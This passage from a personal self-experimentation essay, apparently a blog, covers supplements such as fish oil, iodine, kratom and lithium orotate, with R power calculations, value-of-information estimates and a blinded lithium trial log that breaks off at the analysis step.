    The fish oil can be considered a free sunk cost: I would take it in the absence of an experiment. The empty pill capsules could be used for something else, so we’ll put the 500 at $5. Filling 500 capsules with fish and olive oil will be messy and take an hour. Taking them regularly can be added to my habitual morning routine for vitamin D and the lithium experiment, so that is close to free but we’ll call it an hour over the 250 days. Recording mood/productivity is also free a sunk cost as it’s necessary for the other experiments; but recording dual n-back scores is more expensive: each round is ~2 minutes and one wants >=5, so each block will cost >10 minutes, so 18 tests will be >180 minutes or >3 hours. So >5 hours. Total: 5+(>5×7.25)=>41.
  3. Priors:

    The power calculation indicates a 20% chance of getting useful information. My quasi-experiment has <70% chance of being right, and I preserve a general skepticism about any experiment, even one as well done as the medical student one seems to be, and give that one a <80% chance of being right; so let’s call it 70% the effect exists, or 30% it doesn’t exist (which is the case in which I save money by dropping fish oil for 10 years).
  4. Value of Information

    Power times prior times benefit minus cost of experimentation: (0.20×0.30×540)41=9. So the VoI is negative: because my default is that fish oil works and I am taking it, weak information that it doesn’t work isn’t enough. If the power calculation were giving us 40% reliable information, then the chance of learning I should drop fish oil is improved enough to make the experiment worthwhile (going from 20% to 40% switches the value from -$9 to +$23.8).

Flaxseed

The general cost of fish oil made me interested in possible substitutes. Seth Roberts uses exclusively flaxseed oil or flaxseed meal, and this seems to work well for him with subjective effects (eg. noticing his Chinese brands seemed to not work, possibly because they were unrefrigerated and slightly rancid). It’s been studied much less than fish oil, but omega acids are confusing enough in general (is there a right ratio? McCluskey’s roundup gives the impression claims about ratios may have been overstated) that I’m not convinced ALA is a much inferior replacement for fish oil’s mixes of EPA & DHA.

Flaxseed oil is, ounce for ounce, about as expensive as fish oil, and also must be refrigerated and goes bad within months anyway. Flax seeds on the other hand, do not go bad within months, and cost dollars per pound. Various resources I found online estimated that the ALA component of human-edible flaxseed to be around 20% So Amazon’s 6lbs for $14 is ~1.2lbs of ALA, compared to 16fl-oz of fish oil weighing ~1lb and costing ~$17, while also keeping better and being a calorically useful part of my diet. The flaxseeds can be ground in an ordinary food processor or coffee grinder. It’s not a hugely impressive cost-savings, but I think it’s worth trying when I run out of fish oil.

After trying out 2 6lb packs between 12 September & 25 November 2012, and 20 March & 20 August 2013, I have given up on flaxseed meal. They did not seem to go bad in the refrigerator or freezer, and tasted OK, but I had difficulty working them into my usual recipes: it doesn’t combine well with hot or cold oatmeal, and when I tried using flaxseed meal in soups I learned flaxseed is a thickener which can give soup the consistency of snot. It’s easier to use fish oil on a daily basis.

The chemical Huperzine-A (Examine.com) is extracted from a moss. It is an acetylcholinesterase inhibitor (instead of forcing out more acetylcholine like the -racetams, it prevents acetylcholine from breaking down). My experience report: One for the ‘null hypothesis’ files - Huperzine-A did nothing for me. Unlike piracetam or fish oil, after a full bottle (Source Naturals, 120 pills at 200μg each), I noticed no side-effects, no mental improvements of any kind, and no changes in DNB scores from straight Huperzine-A.

Possible confounding factors:

  • youth: I am considerably younger than the other poster who uses HA
  • I only tested a few days with choline+H-A (but I didn’t notice anything beyond the choline there).
  • counterfeiting? Source Naturals is supposed to be trustworthy, but rare herbal products are most susceptible to fake goods.

It’s really too bad. H-A is cheap, compact, doesn’t taste at all, and in general is much easier to take than fish oil (and much easier to swallow than piracetam or choline!). But if it doesn’t deliver, it doesn’t deliver.

Hydergine (FDA adverse events) was another disappointment (like the adrafinil, purchased from Anti-Aging Systems/Antiaging Central). I noticed little to nothing that couldn’t be normal daily variation.

As discussed in my iodine essay (FDA adverse events), iodine is a powerful health intervention as it eliminates cretinism and improves average IQ by a shocking magnitude. If this effect were possible for non-fetuses in general, it would be the best nootropic ever discovered, and so I looked at it very closely. Unfortunately, after going through ~20 experiments looking for ones which intervened with iodine post-birth and took measures of cognitive function, my meta-analysis concludes that: the effect is small and driven mostly by one outlier study. Once you are born, it’s too late. But the results could be wrong, and iodine might be cheap enough to take anyway, or take for non-IQ reasons. (This possibility was further weakened for me by an August 2013 blood test of TSH which put me at 3.71 uIU/ml, comfortably within the reference range of 0.27-4.20.)

Power analysis

Starting from the studies in my meta-analysis, we can try to estimate an upper bound on how big any effect would be, if it actually existed. One of the most promising null results, Southon et al 1994, turns out to be not very informative: if we punch in the number of kids, we find that they needed a large effect size (d=0.81) before they could see anything:

library(pwr)pwr.t.test(power=0.75, sig.level=0.05, n=22)

     Two-sample t test power calculation

              n =22
              d =0.8130347

Fitzgerald 2012 is better, and gives a number of useful details on her adult experiment:

Participants (n=205) [young adults aged 18-30 years] were recruited between July 2010 and January 2011, and were randomized to receive either a daily 150 µg (0.15mg) iodine supplement or daily placebo supplement for 32 weeks…After adjusting for baseline cognitive test score, examiner, age, sex, income, and ethnicity, iodine supplementation did not significantly predict 32 week cognitive test scores for Block Design (p=0.385), Digit Span Backward (p=0.474), Matrix Reasoning (p=0.885), Symbol Search (p=0.844), Visual Puzzles (p=0.675), Coding (p=0.858), and Letter-Number Sequencing (p=0.408).

Full text isn’t available although some of the p-values suggest that there might be differences which didn’t reach significance , so to estimate an upper bound on what sort of effect-size we’re dealing with:

pwr.t.test(type="two.sample",power=0.75,alternative="greater",n=102)

     Two-sample t test power calculation

              n =102
              d =0.325867

This is a much tighter upper bound than Southon et al 1994 gave us, and also kind of discouraging: remember, the smaller the effect size, the more data you will need to see it, and data is always expensive. If I were to try to do any experiment, how many pairs would I need if we optimistically assume that d=0.32?

pwr.t.test(type="paired",d=0.325867,power=0.75,alternative="greater")

     Paired t test power calculation

              n =52.03677

We’d want 53 pairs, but Fitzgerald 2012’s experimental design called for 32 weeks of supplementation for a single pair of before-after tests - so that’d be 1664 weeks or ~54 months or ~4.5 years! We can try to adjust it downwards with shorter blocks allowing more frequent testing; but problematically, iodine is stored in the thyroid and can apparently linger elsewhere - many of the cited studies used intramuscular injections of iodized oil (as opposed to iodized salt or kelp supplements) because this ensured an adequate supply for months or years with no further compliance by the subjects. If the effects are that long-lasting, it may be worthless to try shorter blocks than ~32 weeks.

We’ve looked at estimating based on individual studies. But we aggregated them into a meta-analysis more powerful than any of them, and it gave us a final estimate of d=~0.1. What does that imply?

pwr.t.test(type="paired",d=0.1,power=0.75,alternative="greater")

     Paired t test power calculation

              n =539.2906

540 pairs of tests or 1080 blocks… This game is not worth the candle!

VoI

For background on “value of information” calculations, see the Adderall calculation.

  1. Cost:

    This would be a very time-consuming experiment. Any attempt to combine this with other experiments by ANOVA would probably push the end-date out by months, and one would start to be seriously concerned that changes caused by aging or environmental factors would contaminate the results. A 5-year experiment with 7-month intervals will probably eat up 5+ hours to prepare <12,000 pills (active & placebo); each switch and test of mental functioning will probably eat up another hour for 32 hours. (And what test maintains validity with no practice effects over 5 years? Dual n-back would be unusable because of improvements to WM over that period.) Add in an hour for analysis & writeup, that suggests >38 hours of work, and 38×7.25=275.5. 12,000 pills is roughly $12.80 per thousand or $154; 120 potassium iodide pills is ~$9, so 365.25120×9×5=137.

    The time plus the gel capsules plus the potassium iodide is $567.
  2. Benefit:

    Some work has been done on estimating the value of IQ, both as net benefits to the possessor (including all zero-sum or negative-sum aspects) and as net positive externalities to the rest of society. The estimates are substantial: in the thousands of dollars per IQ point. But since increasing IQ post-childhood is almost impossible barring disease or similar deficits, and even increasing childhood IQs is very challenging, much of these estimates are merely correlations or regressions, and the experimental childhood estimates must be weakened considerably for any adult - since so much time and so many opportunities have been lost. A wild guess: $1000 net present value per IQ point. The range for severely deficient children was 10-15 points, so any normal (somewhat deficient) adult gain must be much smaller and consistent with Fitzgerald 2012’s ceiling on possible effect sizes (small).

    Let’s make another wild guess at 2 IQ points, for $2000.
  3. Expectation:

    What is my prior expectation that iodine will do anything? A good way to break this question down is the following series of necessary steps:

    • how much do I believe I am iodine deficient?

      (If I am not deficient, then supplementation ought to have no effect.) The previous material on modern trends suggests a prior >25%, and higher than that if I were female. However, I was raised on a low-salt diet because my father has high blood pressure, and while I like seafood, I doubt I eat it more often than weekly. I suspect I am somewhat iodine-deficient, although I don’t believe as confidently as I did that I had a vitamin D deficiency. Let’s call this one 75%.
    • If deficient, how likely would it help at my age?

      (The effect may exist only at limited age ranges - like height, once you’re done growing, few interventions short of bone surgery will make one taller or shorter.) So this is one of the key assumptions: can we extend the benefits in deficient children to somewhat deficient adults?

      Fitzgerald 2012 and the general absence of successful experiments suggests not, as does the general historic failure of scores of IQ-related interventions in healthy young adults. Of the 10 studies listed in the original section dealing with iodine in children or adults, only 2 show any benefit; in lieu of a meta-analysis, a rule of thumb would be 20%, but both those studies used a package of dozens of nutrients - and not just iodine - so if the responsible substance were randomly picked, that suggests we ought to give it a chance of 20 of being iodine! I may be unduly optimistic if I give this as much as 10%.
    • If it would help at my age, how likely do I think my supplementation would hit the sweet spot and not under or overshoot?

      (We already saw that too much iodine could poison both adults and children, and of course too little does not help much - iodine would seem to follow a U-curve like most supplements.) The listed doses at iherb.com often are ridiculously large: 10-50mg! These are doses that seems to actually be dangerous for long-term consumption, and I believe these are doses that are designed to completely suffocate the thyroid gland and prevent it from absorbing any more iodine - which is useful as a short-term radioactive fallout prophylactic, but quite useless from a supplementation standpoint. Fortunately, there are available doses at Fitzgerald 2012’s exact dose, which is roughly the daily RDA: 0.15mg. Even the contrarian materials seem to focus on a modest doubling or tripling of the existing RDA, so the range seems relatively narrow. I’m fairly confident I won’t overshoot if I go with 0.15-1mg, so let’s call this 90%.

    Conclusion: 75% times 10% times 90% is 6.3%.
  4. EV of taking iodine

    Now, what is the expected value (EV) of simply taking iodine, without the additional work of the experiment? 4 cans of 0.15mg x 200 is $20 for 2.1 years’ worth or ~$10 a year or a NPV cost of $205 (10ln1.05) versus a 20% chance of $2000 or $400. So the expected value is greater than the NPV cost of taking it, so I should start taking iodine.
  5. Value of Information

    Finally, what is the value of information of conducting the experiment?

    With an estimated power of 75%, and my own skeptical prior of 20% that there’s any effect worth caring about, and a potential benefit of $2000, that’s 0.75×0.063×2000=95. We must weigh $95 against the estimated experimentation cost of $567. Since the information is worth less than the experiment costs, I should not do it.

    But notice that most of the cost imbalance is coming from the estimate of the benefit of IQ - if it quadrupled to a defensible $8000, that would be close to the experiment cost! So in a way, what this VoI calculation tells us is that what is most valuable right now is not that iodine might possibly increase IQ, but getting a better grip on how much any IQ intervention is worth.

So the overall picture is that I should:

  1. start taking a moderate dose of iodine at some point
  2. look into cheap tests for iodine deficiency

    • One self-test suggested online involves dripping iodine onto one’s skin and seeing how long it takes to be absorbed. This doesn’t seem terrible, but according to Derry and Abraham, it is unreliable.
    • Home urine test kits of unknown accuracy are available online (Google “iodine urine test kit”) but run $70-$100+ eg. Hakala Research.
  3. try to think of cheaper experiments I could run for benefits from iodine

Iodine eye color changes?

A poster or two on Longecity claimed that iodine supplementation had changed their eye color, suggesting a connection to the yellow-reddish element bromine - bromides being displaced by their chemical cousin, iodine. I was skeptical this was a real effect since I don’t know why visible amounts of either iodine or bromine would be in the eye, and the photographs produced were less than convincing. But it’s an easy thing to test, so why not?

For 2 weeks, upon awakening I took close-up photographs of my right eye. Then I ordered two jars of Life-Extension Sea-Iodine (60x1mg) (1mg being an apparently safe dose), and when it arrived on 10 September 2012, I stopped the photography and began taking 1 iodine pill every other day. I noticed no ill effects (or benefits) after a few weeks and upped the dose to 1 pill daily. After the first jar of 60 pills was used up, I switched to the second jar, and began photography as before for 2 weeks. The photographs were uploaded, cropped by hand in Gimp, and shrunk to more reasonable dimensions; both sets are available in a Zip file.

Upon examining the photographs, I noticed no difference in eye color, but it seems that my move had changed the ambient lighting in the morning and so there was a clear difference between the two sets of photographs! The ‘before’ photographs had brighter lighting than the ‘after’ photographs. Regardless, I decided to run a small survey on QuickSurveys/Toluna to confirm my diagnosis of no-change; the survey was 11 forced-choice pairs of photographs (before-after), with the instructions as follows:

Estimated time: <1 min.

Below is 11 pairs of close-up eye photographs,. In half the photos, the eye color of the iris may or may not have been artificially lightened; as a challenge, the photos are taken under varying light conditions!

In each pair, try to pick the photo with a lightened iris eye color if any. (Do not judge simply on overall lighting.)

(I reasoned that this description is not actually deceptive: taking pills is indeed “artificial”, as I would not ‘naturally’ consume so much iodine or seaweed extract, and I didn’t know for sure that my eyes hadn’t changed color so the correct description is indeed “may or may not have”.)

I posted a link to the survey on my Google+ account, and inserted the link at the top of all gwern.net pages; 51 people completed all 11 binary choices (most of them coming from North America & Europe), which seems adequate since the 11 questions are all asking the same question, and 561 responses to one question is quite a few. A few different statistical tests seem applicable: a chi-squared test whether there’s a difference between all the answers, a two-sample test on the averages, and most meaningfully, summing up the responses as a single pair of numbers and doing a binomial test:

R>before <-c(27,31,18,26,22,29,20,13,18,31,27) # I split the 11 questions into how many picked,
R>after  <-c(24,20,33,25,29,22,31,38,33,20,24) # for it, before vs after
R>summary(before); summary(after)
   Min. 1st Qu.  Median    Mean 3rd Qu.    Max.13.019.026.023.828.031.0
   Min. 1st Qu.  Median    Mean 3rd Qu.    Max.20.023.025.027.232.038.0
R>
R>chisq.test(before, after, simulate.p.value=TRUE)

    Pearson`s Chi-squared test with simulated p-valuedata:  before and afterX-squared = 77, df = NA, p-value = 0.000135R> wilcox.test(before, after)    Wilcoxon rank sum test with continuity correctiondata:  before and afterW = 43, p-value = 0.2624alternative hypothesis: true location shift is not equal to 0R> binom.test(c(sum(before), sum(after)))    Exact binomial testdata:  c(sum(before), sum(after))number of successes = 262, number of trials = 561, p-value = 0.1285alternative hypothesis: true probability of success is not equal to 0.595% confidence interval: 0.4251 0.5093sample estimates:probability of success                 0.467

So the chi-squared believes there is a statistically-significant difference, the two-sample test disagrees, and the binomial also disagrees. Since I regarded it as a dubious theory, can’t see a difference, and the binomial seems like the most appropriate test, I conclude that several months of 1mg iodine did not change my eye color. (As a final test, when I posted the results on the Longecity forum where people were claiming the eye color change, I swapped the labels on the photos to see if anyone would claim something along the lines “when I look at the photos, I can see a difference!”. I thought someone might do that, which would be a damning demonstration of their biases & wishful thinking, but no one did.)

Kratom (Erowid, Reddit) is a tree leaf from Southeast Asia; it’s addictive to some degree (like caffeine and nicotine), and so it is regulated/banned in Thailand, Malaysia, Myanmar, and Bhutan among others - but not the USA. (One might think that kratom’s common use there indicates how very addictive it must be, except it literally grows on trees so it can’t be too hard to get.) Kratom is not particularly well-studied (and what has been studied is not necessarily relevant - I’m not addicted to any opiates!), and it suffers the usual herbal problem of being an endlessly variable food product and not a specific chemical with the fun risks of perhaps being poisonous, but in my reading it doesn’t seem to be particularly dangerous or have serious side-effects.

A LessWronger found that it worked well for him as far as motivation and getting things done went, as did another LessWronger who sells it online (terming it “a reasonable productivity enhancer”) as did one of his customers, a pickup artist oddly enough. The former was curious whether it would work for me too and sent me Speciosa Pro’s “Starter Pack: Test Drive” (a sampler of 14 packets of powder and a cute little wooden spoon). In SE Asia, kratom’s apparently chewed, but the powders are brewed as a tea.

  1. I started with the 10g of ‘Vitality Enhanced Blend’, a sort of tan dust. Used 2 little-spoonfuls (dust tastes a fair bit like green/oolong tea dust) into the tea mug and then some boiling water. A minute of steeping and… bleh. Tastes sort of musty and sour. (I see why people recommended sweetening it with honey.) The effects? While I might’ve been more motivated - I hadn’t had caffeine that day and was a tad under the weather, a feeling which seemed to go away perhaps half an hour after starting - I can’t say I experienced any nausea or very noticeable effects. (At least the flavor is no longer quite so offensive.)
  2. 3 days later, I’m fairly miserable (slept poorly, had a hair-raising incident, and a big project was not received as well as I had hoped), so well before dinner (and after a nap) I brew up 2 wooden-spoons of ‘Malaysia Green’ (olive-color dust). I drank it down; tasted slightly better than the first. I was feeling better after the nap, and the kratom didn’t seem to change that.
  3. The next day was somewhat similar, so at 2:40 I tried out 3 spoonfuls of ‘sm00th’ (?), a straight tan powder. Like the Malaysia Green, not so bad tasting. By the second cup, my stomach is growling a little. No particular motivation.
  4. A week later: ‘Golden Sumatran’, 3 spoonfuls, a more yellowish powder. (I combined it with some tea dregs to hopefully cut the flavor a bit.) Had a paper to review that night. No (subjectively noticeable) effect on energy or productivity. I tried 4 spoonfuls at noon the next day; nothing except a little mental tension, for lack of a better word. I think that was just the harbinger of what my runny nose that day and the day before was, a head cold that laid me low during the evening.
  5. 4 spoons of ‘Thai Red Vein’ at 1:30 PM; cold hasn’t gone away but the acetaminophen was making it bearable.
  6. 4 spoons of ‘Enriched Thai’ (brown) at 8PM. Steeped 15 minutes, drank; no effect - I have to take a break to watch 3 Mobile Suit Gundam episodes before I even feel like working.
  7. 5 spoons of ‘Enriched Sumatran’ (tannish-brown) at 3:10 PM; especially sludgy this time, the Sumatran powder must be finer than the other.
  8. 4 spoons ‘Synergy’ (a “Premium Whole Leaf Blend”) at 11:20 AM; by 12:30 PM I feel quite tired and like I need to take a nap (previous night’s sleep was slightly above average, 96 ZQ).
  9. 5 spoons ‘Essential Indo’ (olive green) at 1:50 PM; no apparent effect except perhaps some energy for writing (but then a vague headache).

At dose #9, I’ve decided to give up on kratom. It is possible that it is helping me in some way that careful testing (eg. dual n-back over weeks) would reveal, but I don’t have a strong belief that kratom would help me (I seem to benefit more from stimulants, and I’m not clear on how an opiate-bearer like kratom could stimulate me). So I have no reason to do careful testing. Oh well.

Hericium erinaceus (Examine.com) was recommended strongly by several on the ImmInst.org forums for its long-term benefits to learning, apparently linked to Nerve growth factor. Highly speculative stuff, and it’s unclear whether the mushroom powder I bought was the right form to take (ImmInst.org discussions seem to universally assume one is taking an alcohol or hotwater extract). It tasted nice, though, and I mixed it into my sleeping pills (which contain melatonin & tryptophan). I’ll probably never know whether the $30 for 0.5lb was well-spent or not.

(I was more than a little nonplussed when the mushroom seller included a little pamphlet educating one about how papaya leaves can cure cancer, and how I’m shortening my life by decades by not eating many raw fruits & vegetables. There were some studies cited, but usually for points disconnected from any actual curing or longevity-inducing results.)

Lithium (review; FDA adverse events) is a pretty unusual substance and like caffeine and the amphetamines, questionably classified as a nootropic. As a metal, lithium is dangerous at many doses. It’s famously used for manic-depression and some other disorders, but the doses are large and verge on the point where ‘the cure is worse than the disease’. Most lithium research focuses on these larger doses, so one has to parse citations carefully to see whether it is telling one something useful about the low levels one might use for supplements or just reinforcing what one already knew (‘large doses are double-edged swords’).

So, on the positive side:

One of the main problems with inferring that lithium causes these reductions is that it seems difficult to reconcile with how large the doses must be to treat mental illness:

  1. most dose-response relationships tend to have relatively simple curves which look like U-curves or V-curves or straight lines, where the effect diminishes fast when you move away from the best dose;
  2. the psychiatricly-useful doses are something like 100x the higher groundwater doses;
  3. so for most such curves, if the peak is at X mg, then a dose at X/100 or X/1000 mg will do little;
  4. any effects in the population should be ~0, and thus nearly impossible to detect,
  5. but the correlates are often found, and if causal, would be large reductions in crime/suicide/mental-illness rates / large effects in the population;
  6. 4 & 5 seem to be contradictory.

The best responses seem to be that either lithium’s effects diminish quite gradually so that small groundwater doses can still have a meaningful population effect (negate #1), that groundwater doses are more effective than one would expect comparing to psychiatric doses of lithium carbonate (perhaps due to chronic lifelong exposure; negate relevance of #2/3), or that lithium may have multiple mechanisms one of which kicks in at psychiatric dose levels and the other at groundwater levels (somewhat supported by some psychiatric observations that depressives seem to benefit from lower doses but in different ways; negate #1 in a different way).

Ken Gillman, echoing the earlier criticisms of the Ohgami et al 2009 correlation by Chandra & Babu 2009, criticizes the correlations as generally invalid due to the smallness of the drinking water dose compared to the dietary doses of lithium; I disagree inasmuch as lithium doses are cumulative, Schrauzer 2002 reports an FDA estimate of daily American lithium consumption 1mg, points out that natural levels can reach as high as 0.34mg via drinking water, Dawson 1991 finds Texans’ lithium excretion to “vary inversely with rainfall, reflecting the dilution of drinking water supplies” (see also Dawson 1970), and Dawson et al 1972 directly compared lithium levels in county waters with urine lithium measurements and found a clean linear relationship as expected. These points suggest strongly that Gillman is wrong to think that consumption of bottled water or imported vegetables would swamp any contribution from drinking water - random noise cancels out, and small correlations can be detected using very large samples like state or nation level samples. (One commenter has suggested that the darkness caused by rain is what increases suicide rates, not the dilution of natural lithium in the drinking water; this seems unlikely as it would be inconsistent with the known peaking of suicide rates in spring when there is little darkness, and with the lack of correlation of life satisfaction with daily weather.)

The criticisms of the trace lithium correlation seem weak to me, and even keeping in mind the meta results that the overwhelming majority of correlations disappear when experimentally tested (a 1% chance is a reasonable guess at the true a priori odds), the potential benefits seem so overwhelming that I am puzzled that, in the 42+ years since the correlation was first noted, no one has done a simple experiment of randomizing some counties and increasing their trace lithium concentrations within the normal range of natural variations in trace lithium concentrations. A quick estimate for what I mean. In Dawson et al 1972, the counties in the highest lithium category had 30% of the mental hospital admissions that the lowest lithium counties did; the USA spends something like $60b annually on mental health issues (the NYT quotes $150b government expenditure & $500b society-wide costs). If the reduction in admissions was equivalent to a reduction in the underlying disorders and expenditures scale exactly with number of disorders, then lithizing the USA would reap gains of something like $35b annually (NPV at 5%: ~$615b); however, this is only the direct expenditures, arguably the field is underfunded (reportedly, less than half the sufferers of mental illness may be treated), and of course the losses to society is far larger than that as peoples’ lives are destroyed, crime increases (with its massive negative externalities), careers abandoned, etc. At 1% prior odds and $615b total payoff, the expected value is ~$600m; a conclusive experiment ought to be trivially cheap to run (a few millions?), since it requires only supplementation of lithium at centralized water facilities, presents minimal ethical concerns due to remaining strictly within natural variation & regulatory limits (and vastly less than people voluntarily consume in bottled mineral waters), and can be analyzed using only statistics already being collected by police or health departments.

(The potential gain is large enough that, even if one objected that we don’t know for sure that psychiatric lithium does not impede creativity and so it is hypothetically possible that lithization would reduce societal creativity, the benefit probably outweighs the costs. An example: suppose lithization cost us one Nikola Tesla a year; as it happens, an academic researcher can be funded for life with ~$4m (fully loaded cost: ~$200k I’ve read (some relevant figures), and a ~20y career - assuming no outside earnings or grants or payments), and using the previous savings of $30b, one could fully fund 7500 people each year to research and work on whatever they want for life; is it plausible that one potential Tesla outweighs 7500 independent effectively-tenured researchers?)

On the null and negative sides:

  • although the lithium-Parkinson’s research with its relatively low doses is a reminder to avoid lithium doses anywhere near what is used for psychiatric disorders: “In at least two known cases, toxic levels of the drug have actually caused Parkinson’s.”
  • In one small human trial (149 experimental, 447 total selected from >1000) on PatientsLikeMe investigating a 2008 paper’s finding that lithium might delay ALS, only the null effect was found.
  • There are serious negative effects to taking a lot of lithium - 2-4 grams will trash your long-term memory and similar doses have been linked with many cognitive issues.
  • Tsaltas et al 2008 says many studies can’t be generalized to healthy populations; for every study finding damage to performance or memory, there seems to be a study finding the null result. But whichever is true, it is not encouraging.
  • Of 22 Alzheimer’s patients taking 100mg of lithium carbonate, 3 stopped due to side-effects (Macdonald et al 2008); but 100mg carbonate is substantially more than 5mg orotate, and one might guess that old ill people would report more side-effects in general
  • Broberg et al 2011 documents extreme daily consumption of 2-30mg from water & food in Andean villages, correlating with changes in some thyroid-related biomarkers, suggestive of potential thyroid issues
  • Aprahamian et al 2014 was an RCT of 61 patients with “mild cognitive impairment” given ~150mg of lithium carbonate (targeting blood level of 0.25-0.5 mmol/L); it found minimal damage to liver function, but a few worrisome secondary outcomes such as somewhat higher complaints of side-effects (4.07 vs 4.98 symptoms)

Lithium orotate is sold commercially in low-doses; I purchased 200 pills with 5mg of lithium each. To put this dosage in comparison, the therapeutic doses of lithium are roughly 100x higher (around 500mg). The pills are small and tasteless, and not at all hard to take.

Lithium experiment

I experiment with a blind random trial of 5mg lithium orotate looking for effects on mood and various measures of productivity. There is no detectable effect, good or bad.

Some suggested that the lithium would turn me into a ‘zombie’, recalling the complaints of psychiatric patients. But at 5mg elemental lithium x 200 pills, I’d have to eat 20 to get up to a single clinical dose (a psychiatric dose might be 500mg of lithium carbonate, which translates to ~100mg elemental), so I’m not worried about overdosing. To test this, I took on day 1 & 2 no less than 4 pills/20mg as an attack dose; I didn’t notice any large change in emotional affect or energy levels. And it may’ve helped my motivation (though I am also trying out the tyrosine).

The effect? 3 or 4 weeks later, I’m not sure. When I began putting all of my nootropic powders into pill-form, I put half a lithium pill in each, and nevertheless ran out of lithium fairly quickly (3kg of piracetam makes for >4000 OO-size pills); those capsules were buried at the bottom of the bucket under lithium-less pills. So I suddenly went cold-turkey on lithium. Reflecting on the past 2 weeks, I seem to have been less optimistic and productive, with items now lingering on my To-Do list which I didn’t expect to. An effect? Possibly.

A real experiment is called for.

Design

Most of the reported benefits of lithium are impossible for me to test: rates of suicide and Parkinson’s are right out, but so is crime and neurogenesis (the former is too rare & unusual, the latter too subtle & hard to measure), and likewise potential negatives. So we could measure:

  1. mood, via daily self-report; should increase

    The principal metric would be ‘mood’, however defined. Zeo’s web interface & data export includes a field for ‘Day Feel’, which is a rating 1-5 of general mood & quality of day. I can record a similar metric at the end of each day. 1-5 might be a little crude even with a year of data, so a more sophisticated measure might be in order. The first mood study is paywalled so I’m not sure what they used, but Shiotsuki 2008 used State-Trait of Anxiety Inventory (STAI) and Profiles of Mood States Test (POMS). The full POMS sounds too long to use daily, but the Brief POMS might work. In the original 1987 paper “A brief POMS measure of distress for cancer patients”, patients answering this questionnaire had a mean total mean of 10.43 (standard deviation 8.87). Is this the best way to measure mood? I’ve asked Seth Roberts; he suggested using a 0-100 scale, but personally, there’s no way I can assess my mood on 0-100. My mood is sufficiently stable (to me) that 0-5 is asking a bit much, even.

    I ultimately decided to just go with the simple 0-5 scale, although it seems to have turned out to be more of a 2-4 scale! Apparently I’m not very good at introspection.
  2. long-term memory (Mnemosyne 2.0’s statistics); could increase (neurogenesis), do nothing (null result), or decrease (metal poisoning)
  3. working memory (dual n-back scores via Brain Workshop); like long-term memory
  4. sleep (Zeo); should increase (via mood improvement)
  5. time procrastinating on computer (arbtt daemon every 10-40 seconds records open & active windows; these statistics can be parsed into categories like work or play. Total time on latter categories could be a useful metric. A second metric would be number of commits to the gwern.net source repository.)

Lithium is somewhat persistent in the body, and its effects are not acute especially in low doses; this calls for long blocked trials.

The blood half-life is 12-36 hours; hence two or three days ought to be enough to build up and wash out. A week-long block is reasonable since that gives 5 days for effects to manifest, although month-long blocks would not be a bad choice either. (I prefer blocks which fit in round periods because it makes self-experiments easier to run if the blocks fit in normal time-cycles like day/week/month. The most useless self-experiment is the one abandoned halfway.)

With subtle effects, we need a lot of data, so we want at least half a year (6 blocks) or better yet, a year (12 blocks); this requires 180 actives and 180 placebos. This is easily covered by $11 for “Doctor’s Best Best Lithium Orotate (5mg), 200-Count” (more precisely, “Lithium 5mg (from 125mg of lithium orotate)”) and $14 for 1000x1g empty capsules (purchased February 2012). For convenience I settled on 168 lithium & 168 placebos (7 pill-machine batches, 14 batches total); I can use them in 24 paired blocks of 7-days/1-week each (48 total blocks/48 weeks). The lithium expiration date is October 2014, so that is not a problem

The methodology would be essentially the same as the vitamin D in the morning experiment: put a multiple of 7 placebos in one container, the same number of actives in another identical container, hide & randomly pick one of them, use container for 7 days then the other for 7 days, look inside them for the label to determine which period was active and which was placebo, refill them, and start again.

VoI

For background on “value of information” calculations, see the Adderall calculation.

Low-dose lithium orotate is extremely cheap, ~$10 a year. There is some research literature on it improving mood and impulse control in regular people, but some of it is epidemiological (which implies considerable unreliability); my current belief is that there is probably some effect size, but at just 5mg, it may be too tiny to matter. I have ~40% belief that there will be a large effect size, but I’m doing a long experiment and I should be able to detect a large effect size with >75% chance. So, the formula is NPV of the difference between taking and not taking, times quality of information, times expectation: 100ln1.05×0.75×0.40=61.4, which justifies a time investment of less than 9 hours. As it happens, it took less than an hour to make the pills & placebos, and taking them is a matter of seconds per week, so the analysis will be the time-consuming part. This one may actually turn a profit.

Data

  1. first pair

  2. first block started and pill taken: 11 May 2012 - 19 May: 1
  3. 20 May - 27: 0
  4. second pair

    1. first block started and pill taken: 29 May - 4 June: 1
    2. second block: 5 June - 11 June: 0
  5. third pair

    1. first block: 12 June - 18 June: 1
    2. second block: 19 June - 25 June: 0
  6. fourth pair

  7. first block: 26 June - 2 July: 1
  8. second block: 3 July - 8 July: 0
  9. fifth pair

    1. first block: 13 July - 20 July: 1
    2. second block: 21 July - 27 July: 0
  10. sixth pair

    1. first block: 28 July - 3 August: 0
    2. second block: 4 August - 10 August: 1
  11. seventh pair

    1. first block: 11 August - 17 August: 1
    2. second block: 18 August - 24 August: 0
  12. eighth pair

    1. first block: 25 August - 31 August: 1
    2. second block: 1 September - 4 September, stopped until 24 September, finished 25 September: 0
  13. I interrupted the lithium self-experiment until March 2013 in order to run the LSD microdosing self-experiment without a potential confound; ninth block pair:

    1. 12 March 2013 - 18 March: 1
    2. 19 March - 25 March: 0
  14. tenth pair:

    1. 26 March - 1 April: 0
    2. 2 April - 8 April: 1
  15. eleventh pair:

    1. 9 April - 15 April: 0
    2. 16 April - 21 April: 1
  16. twelfth pair:

    1. 22 April - 28 April: 1
    2. 29 April - 5 May: 0
  17. thirteenth pair:

    1. 6 May - 12 May: 0
    2. 13 May - 19 May: 1
  18. fourteenth pair:

    1. 20 May - 26 May: 1
    2. 27 May - 2 June: 0
  19. fifteenth:

    1. 5 June - 11 June: 0
    2. 12 June - 18 June: 1
  20. sixteenth:

    1. 19 June - 25 June: 0
    2. 26 June - 2 July: 1
  21. seventeenth:

    1. 3 July - 9 July: 0
    2. 10 July - 16 July: 1
  22. eighteenth:

    1. 17 July - 23 July: 0
    2. 24 July - 28 July, 8 August - 9 August: 1
  23. nineteenth:

    1. 10 August - 16 August: 0
    2. 17 August - 23 August: 1
  24. twentieth:

    1. 24 August - 30 August: 0
    2. 3 September - 6 September: 1
  25. twenty-first:

    1. 7 September - 13 September: 1
    2. 14 September - 20 September: 0
  26. twenty-second:

    1. 21 September - 27 September: 0
    2. 28 September - 4 October: 1
  27. twenty-third:

    1. 5 October - 11 October: 0
    2. 12 October - 18 October: 1
  28. twenty-fourth:

    1. 20 - 26 October: 0
    2. 27 October - 2 November: 1

Analysis

Preprocessing

  1. lithium: hand-generated
  2. MP: hand-edited into mp.csv
  3. Mnemosyne daily recall scores: extracted from the database:

